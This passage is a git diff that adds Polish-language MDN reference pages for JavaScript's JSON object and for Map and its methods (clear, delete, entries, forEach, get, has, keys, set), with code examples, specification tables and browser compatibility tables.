Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/json/index.html b/files/pl/web/javascript/reference/global_objects/json/index.html new file mode 100644 index 0000000000..7a4b6c0812 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/json/index.html @@ -0,0 +1,147 @@ +--- +title: JSON +slug: Web/JavaScript/Referencje/Obiekty/JSON +tags: + - JSON + - JavaScript + - Obiekt +translation_of: Web/JavaScript/Reference/Global_Objects/JSON +--- +
{{JSRef}}
+ +

Obiekt JSON zawiera metody do analizy składniowej JavaScript Object Notation ({{glossary("JSON")}}) i konwertowania wartości do formatu JSON. Nie może być on wywołany lub utworzony i oprócz jego dwóch metod, sam w sobie nie ma interesującej funkcjonalności .

+ +

Różnice między językiem JavaScript i formatem JSON

+ +

Format JSON jest składnią do serializowania obiektów, tablic, liczb, napisów, wartości logicznych oraz {{jsxref("null")}}. Bazuje na składni języka JavaScript, ale różni się od niego: nie każdy JavaScript to JSON.

+ +

Obiekty i tablice: Nazwy właściwości muszą znajdować się w podwójnym cudzysłowie;  przecinki na końcach (trailing commas) nie są dozwolone.

+ +

Liczby: Zera nieznaczące są zakazane. Po przecinku musi się znaleźć co najmniej jedna liczba. Wartości NaN i Infinity nie są wspierane.

+ +

Każdy tekst w formacie JSON jest poprawnym wyrażeniem w języku JavaScript – ale wyłącznie w silnikach JavaScript, które mają zaimplementową możliwości, by wszystkie dokumenty w formacie JSON były zgodne ze standardem ECMA-262. W przeciwnym razie, znaki U+2028 (separator linii) i U+2029 (separator akapitów) są dozwolone w literałach znakowych i kluczach w formacie JSON, ale ich użycie w tym konteksie w języku JavaScript skutkuje zgłoszeniem błędu {{jsxref("SyntaxError")}}.

+ +

Rozważmy przykład, gdzie funkcja {{jsxref("JSON.parse()")}} przetwarza poniższy literał znakowy jako obiekt JSON, a funkcja eval wykonuje go jako tekst w języku JavaScript:

+ +
var code = '"\u2028\u2029"';
+JSON.parse(code); // działa poprawnie
+eval(code); // zgłasza błąd SyntaxError
+
+ +

Inne różnice to zgoda wyłącznie na literały znakowe w podwójnym cudzysłowie, brak zabezpieczenia dla {{jsxref("undefined")}} lub komentarzy.

+ +

Pełna składnia JSON

+ +

Pełna składnia JSON jest następująca:

+ +
JSON = null
+    or true or false
+    or JSONNumber
+    or JSONString
+    or JSONObject
+    or JSONArray
+
+JSONNumber = - PositiveNumber
+          or PositiveNumber
+PositiveNumber = DecimalNumber
+              or DecimalNumber . Digits
+              or DecimalNumber . Digits ExponentPart
+              or DecimalNumber ExponentPart
+DecimalNumber = 0
+             or OneToNine Digits
+ExponentPart = e Exponent
+            or E Exponent
+Exponent = Digits
+        or + Digits
+        or - Digits
+Digits = Digit
+      or Digits Digit
+Digit = 0 through 9
+OneToNine = 1 through 9
+
+JSONString = ""
+          or " StringCharacters "
+StringCharacters = StringCharacter
+                or StringCharacters StringCharacter
+StringCharacter = any character
+                  except " or \ or U+0000 through U+001F
+               or EscapeSequence
+EscapeSequence = \" or \/ or \\ or \b or \f or \n or \r or \t
+              or \u HexDigit HexDigit HexDigit HexDigit
+HexDigit = 0 through 9
+        or A through F
+        or a through f
+
+JSONObject = { }
+          or { Members }
+Members = JSONString : JSON
+       or Members , JSONString : JSON
+
+JSONArray = [ ]
+         or [ ArrayElements ]
+ArrayElements = JSON
+             or ArrayElements , JSON
+
+ +

Nieznaczące białe znaki nie mogą występować tylko wewnątrz JSONNumber (liczby nie mogą zawierać białych znaków) oraz JSONString (gdzie jest to interpretowane jako odpowiedni znak w litarale znakowym lub może spowodować błąd). Tabulacja pozioma (U+0009), powrót karetki (U+000D), nowa linia (U+000A) oraz spacja (U+0020) to jedyne prawidłowe białe znaki.

+ +

Metody

+ +
+
{{jsxref("JSON.parse()")}}
+
Parsuje literał znakowy na JSON, opcjonalnie przekształca otrzymaną wartosć i ją zwraca. Każde naruszenie składni JSON, wliczając w różnice między językiem JavaScript i JSON, powodują zgłosznie błędu {{jsxref("SyntaxError")}}. Opcja reviver pozwala zinterpretować, co replacer użył zamiast innych typów danych.
+
{{jsxref("JSON.stringify()")}}
+
Zwraca literał znakowy JSON odpowiadający określonej wartosci, ewentualnie zawierający jedynie niektóre wartości lub ze zamienionymi wartościami w sposób zdefinowany przez użytkownika. Domyślnie, wszystkie instance {{jsxref("undefined")}} są zastępowane przez {{jsxref("null")}} i inne niewspierane typy danych są ocenzurowywane. Opcja replacer pozwala określić inne zachowanie.
+
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES5.1', '#sec-15.12', 'JSON')}}{{Spec2('ES5.1')}}Initial definition.
{{SpecName('ES6', '#sec-json-object', 'JSON')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-json-object', 'JSON')}}{{Spec2('ESDraft')}}
+ +

Kompatybilność

+ +
+
+ + +

{{Compat("javascript.builtins.JSON")}}

+
+
+ +

Zobacz także

+ + + +

Tools

+ + diff --git a/files/pl/web/javascript/reference/global_objects/map/clear/index.html b/files/pl/web/javascript/reference/global_objects/map/clear/index.html new file mode 100644 index 0000000000..a4e7374127 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/map/clear/index.html @@ -0,0 +1,87 @@ +--- +title: Map.prototype.clear() +slug: Web/JavaScript/Referencje/Obiekty/Map/clear +tags: + - ECMAScript 2015 + - JavaScript + - Mapa + - Metodă + - Prototyp +translation_of: Web/JavaScript/Reference/Global_Objects/Map/clear +--- +
{{JSRef}}
+ +

Metoda clear() usuwa wszystkie elementy z obiektu Map.

+ +
var map1 = new Map();
+
+map1.set('bar', 'baz');
+map1.set(1, 'foo');
+
+console.log(map1.size);
+// wartość zwracana: 2
+
+map1.clear();
+
+console.log(map1.size);
+// wartość zwracana: 0
+
+ +

Składnia

+ +
myMap.clear();
+ +

Zwracana wartość

+ +

{{jsxref("undefined")}}.

+ +

Przykłady

+ +

Używanie metody clear

+ +
var myMap = new Map();
+myMap.set('bar', 'baz');
+myMap.set(1, 'foo');
+
+myMap.size;       // 2
+myMap.has('bar'); // true
+
+myMap.clear();
+
+myMap.size;       // 0
+myMap.has('bar')  // false
+
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-map.prototype.clear', 'Map.prototype.clear')}}{{Spec2('ES2015')}}Definicja początkowa.
{{SpecName('ESDraft', '#sec-map.prototype.clear', 'Map.prototype.clear')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność z przeglądarkami

+ + + +

{{Compat("javascript.builtins.Map.clear")}}

+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/map/delete/index.html b/files/pl/web/javascript/reference/global_objects/map/delete/index.html new file mode 100644 index 0000000000..2016e577f8 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/map/delete/index.html @@ -0,0 +1,85 @@ +--- +title: Map.prototype.delete() +slug: Web/JavaScript/Referencje/Obiekty/Map/delete +tags: + - Mapa + - Metodă +translation_of: Web/JavaScript/Reference/Global_Objects/Map/delete +--- +
{{JSRef}}
+ +

Metoda delete() usuwa określony element z obiektu Map.

+ +
var map1 = new Map();
+map1.set('bar', 'foo');
+
+console.log(map1.delete('bar'));
+// oczekiwany wynik: true
+// (true wskazuje na poprawne usunięcie)
+
+console.log(map1.has('bar'));
+// oczekiwany wynik: false
+
+ +

Składnia

+ +
myMap.delete(key);
+ +

Parametery

+ +
+
key
+
Wymagany. Klucz elementu, który ma zostać usunięty z obiektu Map.
+
+ +

Zwracana wartość

+ +
+
Boolean
+
Zwraca true, jeśli element w Map istniał i został usunięty lub false, jeśli nie.
+
+ +

Przykłady

+ +

Używanie metody delete

+ +
var myMap = new Map();
+myMap.set('bar', 'foo');
+
+myMap.delete('bar'); // Zwraca true. Udało się usunąć.
+myMap.has('bar');    // Zwraca false. Element "bar" już nie istnieje.
+
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-map.prototype.delete', 'Map.prototype.delete')}}{{Spec2('ES2015')}}Definicja początkowa.
{{SpecName('ESDraft', '#sec-map.prototype.delete', 'Map.prototype.delete')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność z przeglądarkami

+ + + +

{{Compat("javascript.builtins.Map.delete")}}

+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/map/entries/index.html b/files/pl/web/javascript/reference/global_objects/map/entries/index.html new file mode 100644 index 0000000000..97c049b150 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/map/entries/index.html @@ -0,0 +1,128 @@ +--- +title: Map.prototype.entries() +slug: Web/JavaScript/Referencje/Obiekty/Map/entries +tags: + - ECMAScript2015 + - Iterator + - JavaScript + - Mapa + - Metodă + - Prototyp +translation_of: Web/JavaScript/Reference/Global_Objects/Map/entries +--- +
{{JSRef}}
+ +

Metoda entries() zwraca nowy obiekt typu Iterator który zawiera pary[klucz, wartość] dla każdego elementu Mapy. Można się do nich odnieść w takiej kolejności, jakiej zostały wstawione.

+ +
{{EmbedInteractiveExample("pages/js/map-prototype-entries.html")}}
+ + + +

Składnia

+ +
myMap.entries()
+ +

Zwracana wartość

+ +

Nowy iterator obiektu typu {{jsxref("Map")}}.

+ +

Przykłady

+ +

Używanie entries()

+ +
var myMap = new Map();
+myMap.set('0', 'foo');
+myMap.set(1, 'bar');
+myMap.set({}, 'baz');
+
+var mapIter = myMap.entries();
+
+console.log(mapIter.next().value); // ["0", "foo"]
+console.log(mapIter.next().value); // [1, "bar"]
+console.log(mapIter.next().value); // [Object, "baz"]
+
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-map.prototype.entries', 'Map.prototype.entries')}}{{Spec2('ES2015')}}Początkowa definicja.
{{SpecName('ESDraft', '#sec-map.prototype.entries', 'Map.prototype.entries')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność z przeglądarkami

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support38{{CompatVersionUnknown}}{{ CompatGeckoDesktop("20") }}{{CompatNo}}257.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}38{{CompatVersionUnknown}}{{CompatGeckoMobile("20")}}{{CompatNo}}{{CompatNo}}8
+
+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/map/foreach/index.html b/files/pl/web/javascript/reference/global_objects/map/foreach/index.html new file mode 100644 index 0000000000..7280020397 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/map/foreach/index.html @@ -0,0 +1,104 @@ +--- +title: Map.prototype.forEach() +slug: Web/JavaScript/Referencje/Obiekty/Map/forEach +tags: + - ECMAScript2015 + - JavaScript + - Mapa + - Metodă + - Prototyp +translation_of: Web/JavaScript/Reference/Global_Objects/Map/forEach +--- +
{{JSRef}}
+ +

Metoda forEach() wykonuje dostarczoną funcję callback raz dla każdej pary klucz-wartosć Mapy w kolejności, w jakiej zostały zostały wstawione.

+ +
{{EmbedInteractiveExample("pages/js/map-prototype-foreach.html")}}
+ + + +

Składnia

+ +
myMap.forEach(callback[, thisArg])
+ +

Parametry

+ +
+
callback
+
Funkcja wykonywana dla każdego elementu.
+
thisArg
+
Wartość przypisywana do this poczas wywołania zwrotnego (funkcja callback).
+
+ +

Zwracana wartosć

+ +

{{jsxref("undefined")}}.

+ +

Opis

+ +

Metoda forEach wykonuje dostarczoną funkcję callback raz dla każdego klucza mapy, który istnieje. Nie jest wywoływana dla usuniętych kluczy, ale dla istniejących z wartością undefined już tak.

+ +

Funkcja callback przyjmuje trzy argumenty:

+ + + +

Jeśli argument thisArg jest dostarczony do forEach, zostaje przekazany do fukncji callback podczas jej wywołania, jako jej własna wartość this.  W przeciwnym wypadku, this przyjmuje wartość undefined

+ +

Każda wartość jest odwiedzana raz, oprócz przypadku, gdzie została usunięta, a następnie dodana ponownie, nim metoda forEach zakończyła swoje działanie. Funkcja callback nie jest wywoływana dla wartości usuniętych przed ich odwiedzeniem. Nowe wartości dodane jeszcze przed zakończeniem forEach zostaną odwiedzone.

+ +

Metoda forEach nie zwraca żadnej wartości.

+ +

Przykłady

+ +

Wyświetlanie zawartości Mapy

+ +

Poniższy kod wyświetla jedną linię dla każdej pary klucz-wartość Mapy:

+ +
function logMapElements(value, key, map) {
+    console.log(`m[${key}] = ${value}`);
+}
+new Map([['foo', 3], ['bar', {}], ['baz', undefined]]).forEach(logMapElements);
+// logs:
+// "m[foo] = 3"
+// "m[bar] = [object Object]"
+// "m[baz] = undefined"
+
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}{{Spec2('ES2015')}}Definicja początkowa.
{{SpecName('ESDraft', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność z przeglądarkami

+ + + +

{{Compat("javascript.builtins.Map.forEach")}}

+ +

See also

+ + diff --git a/files/pl/web/javascript/reference/global_objects/map/get/index.html b/files/pl/web/javascript/reference/global_objects/map/get/index.html new file mode 100644 index 0000000000..a8cb900ed7 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/map/get/index.html @@ -0,0 +1,80 @@ +--- +title: Map.prototype.get() +slug: Web/JavaScript/Referencje/Obiekty/Map/get +tags: + - ECMAScript 2015 + - JavaScript + - Mapa + - Metodă + - Prototyp +translation_of: Web/JavaScript/Reference/Global_Objects/Map/get +--- +
{{JSRef}}
+ +

Metoda get() zwraca podany element Mapy.

+ +
{{EmbedInteractiveExample("pages/js/map-prototype-get.html")}}
+ + + +

Składnia

+ +
myMap.get(key);
+ +

Parametry

+ +
+
key
+
Wymagany. Klucz elementu, który ma zostać zwrócony.
+
+ +

Zwracana wartość

+ +

Element powiązany z danym kluczym lub undefined, jeśli klucz nie został odnaleziony.

+ +

Przykłady

+ +

Używanie metody get

+ +
var myMap = new Map();
+myMap.set('bar', 'foo');
+
+myMap.get('bar');  // zwraca "foo".
+myMap.get('baz');  // zwraca undefined.
+
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-map.prototype.get', 'Map.prototype.get')}}{{Spec2('ES2015')}}Definicja początkowa.
{{SpecName('ESDraft', '#sec-map.prototype.get', 'Map.prototype.get')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność z przeglądarkami

+ + + +

{{Compat("javascript.builtins.Map.get")}}

+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/map/has/index.html b/files/pl/web/javascript/reference/global_objects/map/has/index.html new file mode 100644 index 0000000000..14bf4f71dc --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/map/has/index.html @@ -0,0 +1,85 @@ +--- +title: Map.prototype.has() +slug: Web/JavaScript/Referencje/Obiekty/Map/has +tags: + - ECMAScript 2015 + - JavaScript + - Mapa + - Metodă + - Prototyp +translation_of: Web/JavaScript/Reference/Global_Objects/Map/has +--- +
{{JSRef}}
+ +

Metoda has() zwraca Boolean, który określa czy element o podanym kluczu istnieje.

+ +
{{EmbedInteractiveExample("pages/js/map-prototype-has.html")}}
+ + + +

Składnia

+ +
myMap.has(key);
+ +

Parametry

+ +
+
key
+
Wymagany. Klucz elementu, którego istnienie w Mapie zostanie sprawdzone.
+
+ +

Zwracana wartość

+ +
+
Boolean
+
+

true, jeśli dany element istnieje w Mapie - w przeciwnym wypadku false.

+
+
+ +

Przykłady

+ +

Używanie metody has

+ +
var myMap = new Map();
+myMap.set('bar', "foo");
+
+myMap.has('bar');  // zwraca true
+myMap.has('baz');  // zwraca false
+
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-map.prototype.has', 'Map.prototype.has')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-map.prototype.has', 'Map.prototype.has')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność z przeglądarkami

+ + + +

{{Compat("javascript.builtins.Map.has")}}

+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/map/index.html b/files/pl/web/javascript/reference/global_objects/map/index.html new file mode 100644 index 0000000000..8c0a9833eb --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/map/index.html @@ -0,0 +1,458 @@ +--- +title: Map +slug: Web/JavaScript/Referencje/Obiekty/Map +tags: + - ECMAScript 2015 + - JavaScript + - Map +translation_of: Web/JavaScript/Reference/Global_Objects/Map +--- +
{{JSRef}}
+ +

Map jest prostym obiektem mapującym klucze na wartości. Każdy element (zarówno obiekt jak i {{Glossary("Primitive", "wartości proste")}}) mogą być użyte zarówno jako klucz jak i wartość.

+ +

Składnia

+ +
new Map([iterable])
+ +

Parametry

+ +
+
iterable
+
Iterable jest tablicą lub innym iterowalnym obiektem, którego elementy są parami typu klucz-wartość (np. 2 elementowa tablica). Każda para klucz-wartość jest dodawana do obiektu new Map. null jest traktowane jako undefined.
+
+ +

Opis

+ +

Obiekt Map iteruje swoje elementy we wprowadzonej kolejności — pętla {{jsxref("Statements/for...of", "for...of")}} zwraca tablicę  [key, value] dla każdej iteracji.

+ +

Należy pamiętać, że kolejność iteracji dla Map mapującej obiekty, w szczególności np. dla słownika słowników, odzwieciedlać będzie jedynie kolejność dodawania obiektów do kolekcji, natomiast kolejność dodawania elementów do samych obiektów nie jest gwarantowana i powinna być traktowana jako losowa.

+ +

Równość kluczy

+ +

Klucze porównywane są według algorytmu "same-value" (tej samej wartości).

+ +

NaN jest traktowana jako równa NaN (mimo tego, że NaN !== NaN). Wszystkie inne wartości są uważane za równe zgodnie z semantyką ===  operatora równości.

+ +

W obecnej specyfikacji ECMAScript -0 === +0, choć wcześniejsze propozycje zakładały inne zachowanie, co zaowocowało implementacją w niektórych wersjach przeglądarek. Szczegóły zawarte są w  "Value equality for -0 and 0"  w tabeli kompatybilności przeglądarek.

+ +

Porównanie Obiektów i Map

+ +

{{jsxref("Object", "Obiekty")}} są podobne do Map. W obu przypadkach pozwalają ustawić klucze dla wartości, zwracają te wartości, usuwają klucze i wykrywają czy coś jest przechowywane jako klucz. Z tego powodu (i ponieważ nie było innych wbudowanych alternatyw), Object  był używany wcześniej jako Map. Istnieją jednak ważne różnice pomiędzy Obiektami i Mapami, które powodują, że Map jest lepszym wyborem w pewnych przypadkach:

+ + + +

Nie oznacza to, że powinno się używać Maps wszędzie. Obiekty są wciąż używane w większości przypadków.  Instancje Map są użyteczne dla kolekcji, warto rozważyć ich zaadaptowanie jedynie w przypadkach, gdy wcześniej używano dla nich obiektów. Obiekty powinny być używane jako rejestr z polami i metodami. Jeśli wciąż nie jesteś pewien czego użyć, pomocne mogą okazać się poniższe pytania:

+ + + +

Jeśli odpowiedziałeś 'tak' na którekolwiek z tych pytań, prawdopodobnie powinieneś użyć Map. I przeciwnie, jeśli masz zamknięty zbiór kluczy, jeśli musisz odwoływać się do poszczególnych, specyficznych kluczy a każdy z nich ma swoje, odrębne od innych znaczenie, najprawdopodobniej potrzebujesz obiektu.

+ +

Własności

+ +
+
Map.length
+
Wartość length  jest zawsze równa 0.
+
{{jsxref("Map.@@species", "get Map[@@species]")}}
+
Funkcja konstruktora używana do tworzenia obiektów pochodnych.
+
{{jsxref("Map.prototype")}}
+
Reprezentuje prototyp funkcji konstruktora Map. Pozwala rozszerzać prototyp wszystkich obiektów Map o własne własności.
+
+ +

Instancje Map

+ +

Wszystkie instancje Map  dziedziczą po {{jsxref("Map.prototype")}}.

+ +

Własności

+ +

{{page('en-US/Web/JavaScript/Reference/Global_Objects/Map/prototype','Properties')}}

+ +

Metody

+ +

{{page('en-US/Web/JavaScript/Reference/Global_Objects/Map/prototype','Methods')}}

+ +

Przykłady

+ +

Używanie obiektu typu Map

+ +
var myMap = new Map();
+
+var keyString = 'a string',
+    keyObj = {},
+    keyFunc = function() {};
+
+// setting the values
+myMap.set(keyString, "value associated with 'a string'");
+myMap.set(keyObj, 'value associated with keyObj');
+myMap.set(keyFunc, 'value associated with keyFunc');
+
+myMap.size; // 3
+
+// getting the values
+myMap.get(keyString);    // "value associated with 'a string'"
+myMap.get(keyObj);       // "value associated with keyObj"
+myMap.get(keyFunc);      // "value associated with keyFunc"
+
+myMap.get('a string');   // "value associated with 'a string'"
+                         // because keyString === 'a string'
+myMap.get({});           // undefined, because keyObj !== {}
+myMap.get(function() {}) // undefined, because keyFunc !== function () {}
+
+ +

Użycie NaN jako kluczy w  Map

+ +

NaN can also be used as a key. Even though every NaN is not equal to itself (NaN !== NaN is true), the following example works, because NaNs are indistinguishable from each other:

+ +
var myMap = new Map();
+myMap.set(NaN, 'not a number');
+
+myMap.get(NaN); // "not a number"
+
+var otherNaN = Number('foo');
+myMap.get(otherNaN); // "not a number"
+
+ +

Iteracja po Map przy użyciu for..of

+ +
var myMap = new Map();
+myMap.set(0, 'zero');
+myMap.set(1, 'one');
+for (var [key, value] of myMap) {
+  console.log(key + ' = ' + value);
+}
+// 0 = zero
+// 1 = one
+
+for (var key of myMap.keys()) {
+  console.log(key);
+}
+// 0
+// 1
+
+for (var value of myMap.values()) {
+  console.log(value);
+}
+// zero
+// one
+
+for (var [key, value] of myMap.entries()) {
+  console.log(key + ' = ' + value);
+}
+// 0 = zero
+// 1 = one
+
+ +

Iteracja po Map przy użyciu forEach()

+ +
myMap.forEach(function(value, key) {
+  console.log(key + ' = ' + value);
+});
+// Will show 2 logs; first with "0 = zero" and second with "1 = one"
+
+ +

Relacja do obiektów typu Array

+ +
var kvArray = [['key1', 'value1'], ['key2', 'value2']];
+
+// Use the regular Map constructor to transform a 2D key-value Array into a map
+var myMap = new Map(kvArray);
+
+myMap.get('key1'); // returns "value1"
+
+// Use the spread operator to transform a map into a 2D key-value Array.
+console.log(uneval([...myMap])); // Will show you exactly the same Array as kvArray
+
+// Or use the spread operator on the keys or values iterator to get
+// an array of only the keys or values
+console.log(uneval([...myMap.keys()])); // Will show ["key1", "key2"]
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-map-objects', 'Map')}}{{Spec2('ES2015')}}Początkowa definicja
{{SpecName('ESDraft', '#sec-map-objects', 'Map')}}{{Spec2('ESDraft')}}
+ +

Kompatybilność przeglądarek

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support +

{{ CompatChrome(38) }} [1]

+
12{{ CompatGeckoDesktop("13") }}11257.1
Constructor argument: new Map(iterable){{ CompatChrome(38) }}12{{ CompatGeckoDesktop("13") }}{{CompatNo}}25{{CompatSafari("9")}}
iterable{{ CompatChrome(38) }}12{{ CompatGeckoDesktop("17") }}{{CompatNo}}257.1
Map.clear(){{ CompatChrome(31) }}
+ {{ CompatChrome(38) }}
12{{CompatGeckoDesktop("19")}}11257.1
Map.keys(), Map.values(), Map.entries(){{ CompatChrome(37) }}
+ {{ CompatChrome(38) }}
12{{CompatGeckoDesktop("20")}}{{CompatNo}}257.1
Map.forEach(){{ CompatChrome(36) }}
+ {{ CompatChrome(38) }}
12{{CompatGeckoDesktop("25")}}11257.1
Key equality for -0 and 0{{ CompatChrome(34) }}
+ {{ CompatChrome(38) }}
12{{CompatGeckoDesktop("29")}}{{CompatNo}}25{{CompatSafari("9")}}
Constructor argument: new Map(null){{CompatVersionUnknown}}12{{CompatGeckoDesktop("37")}}11{{CompatVersionUnknown}}{{CompatSafari("9")}}
Monkey-patched set() in Constructor{{CompatVersionUnknown}}12{{CompatGeckoDesktop("37")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatSafari("9")}}
Map[@@species]{{CompatChrome("51")}}13{{CompatGeckoDesktop("41")}}{{CompatNo}}{{CompatOpera("38")}}{{CompatSafari("10")}}
Map() without new throws{{CompatVersionUnknown}}12{{ CompatGeckoDesktop("42") }}11{{CompatVersionUnknown}}{{CompatSafari("9")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{ CompatChrome(38) }} [1]{{ CompatGeckoMobile("13") }}{{CompatNo}}{{CompatNo}}8
Constructor argument: new Map(iterable){{CompatNo}}{{ CompatChrome(38) }}{{ CompatGeckoMobile("13") }}{{CompatNo}}{{CompatNo}}9
iterable{{CompatNo}}{{CompatNo}}{{ CompatGeckoMobile("17") }}{{CompatNo}}{{CompatNo}}8
Map.clear(){{CompatNo}}{{ CompatChrome(31) }}
+ {{ CompatChrome(38) }}
{{CompatGeckoMobile("19")}}{{CompatNo}}{{CompatNo}}8
Map.keys(), Map.values(), Map.entries(){{CompatNo}}{{ CompatChrome(37) }}
+ {{ CompatChrome(38) }}
{{CompatGeckoMobile("20")}}{{CompatNo}}{{CompatNo}}8
Map.forEach(){{CompatNo}}{{ CompatChrome(36) }}
+ {{ CompatChrome(38) }}
{{CompatGeckoMobile("25")}}{{CompatNo}}{{CompatNo}}8
Key equality for -0 and 0{{CompatNo}}{{ CompatChrome(34) }}
+ {{ CompatChrome(38) }}
{{CompatGeckoMobile("29")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Constructor argument: new Map(null){{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("37")}}{{CompatUnknown}}{{CompatUnknown}}9
Monkey-patched set() in Constructor{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("37")}}{{CompatUnknown}}{{CompatUnknown}}9
Map[@@species]{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("41")}}{{CompatUnknown}}{{CompatUnknown}}10
Map() without new throws5.1{{CompatUnknown}}{{CompatGeckoMobile("42")}}{{CompatUnknown}}{{CompatUnknown}}9
+
+ +

[1] Starting with Chrome 31, the feature was available behind a preference. In chrome://flags, activate the entry “Enable Experimental JavaScript”.

+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/global_objects/map/keys/index.html b/files/pl/web/javascript/reference/global_objects/map/keys/index.html new file mode 100644 index 0000000000..8723e295ab --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/map/keys/index.html @@ -0,0 +1,78 @@ +--- +title: Map.prototype.keys() +slug: Web/JavaScript/Referencje/Obiekty/Map/keys +tags: + - ECMAScript 2015 + - Iterator + - JavaScript + - Mapa + - Metodă + - Prototyp +translation_of: Web/JavaScript/Reference/Global_Objects/Map/keys +--- +
{{JSRef}}
+ +

Metoda keys() zwraca nowy obiekt typu Iterator, który zawiera klucze dla każdego elementu w Mapie. Można się do nich odnieść w takiej kolejności, jakiej zostały wstawione.

+ +
{{EmbedInteractiveExample("pages/js/map-prototype-keys.html")}}
+ + + +

Składnia

+ +
myMap.keys()
+ +

Zwracana wartość

+ +

Nowy iterator obiektu typu {{jsxref("Map")}}

+ +

Przykłady

+ +

Używanie keys()

+ +
var myMap = new Map();
+myMap.set('0', 'foo');
+myMap.set(1, 'bar');
+myMap.set({}, 'baz');
+
+var mapIter = myMap.keys();
+
+console.log(mapIter.next().value); // "0"
+console.log(mapIter.next().value); // 1
+console.log(mapIter.next().value); // Object
+
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-map.prototype.keys', 'Map.prototype.keys')}}{{Spec2('ES2015')}}Definicja początkowa.
{{SpecName('ESDraft', '#sec-map.prototype.keys', 'Map.prototype.keys')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność z przeglądarkami

+ + + +

{{Compat("javascript.builtins.Map.keys")}}

+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/map/set/index.html b/files/pl/web/javascript/reference/global_objects/map/set/index.html new file mode 100644 index 0000000000..951cefd229 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/map/set/index.html @@ -0,0 +1,96 @@ +--- +title: Map.prototype.set() +slug: Web/JavaScript/Referencje/Obiekty/Map/set +tags: + - ECMAScript 2015 + - JavaScript + - Mapa + - Metodă + - Prototyp +translation_of: Web/JavaScript/Reference/Global_Objects/Map/set +--- +
{{JSRef}}
+ +

Metoda set() dodaje lub zmienia element o podany kluczu i wartości w Mapie

+ +
{{EmbedInteractiveExample("pages/js/map-prototype-set.html")}}
+ + + +

Składnia

+ +
myMap.set(key, value);
+ +

Parametry

+ +
+
key
+
Wymagany. Klucz elementu, który zostanie dodany do Mapy.
+
value
+
Wymagany. Wartość elementu, który zostanie dodany do Mapy.
+
+ +

Zwracana wartość

+ +

 Obiekt typu Map.

+ +

Przykłady

+ +

Używanie set()

+ +
var myMap = new Map();
+
+// Dodawanie nowych elementu
+myMap.set('bar', 'foo');
+myMap.set(1, 'foobar');
+
+// Zmiana istniejącego już elementu
+myMap.set('bar', 'baz');
+
+ +

Używanie set w połączeniu z łańcuchowaniem

+ +

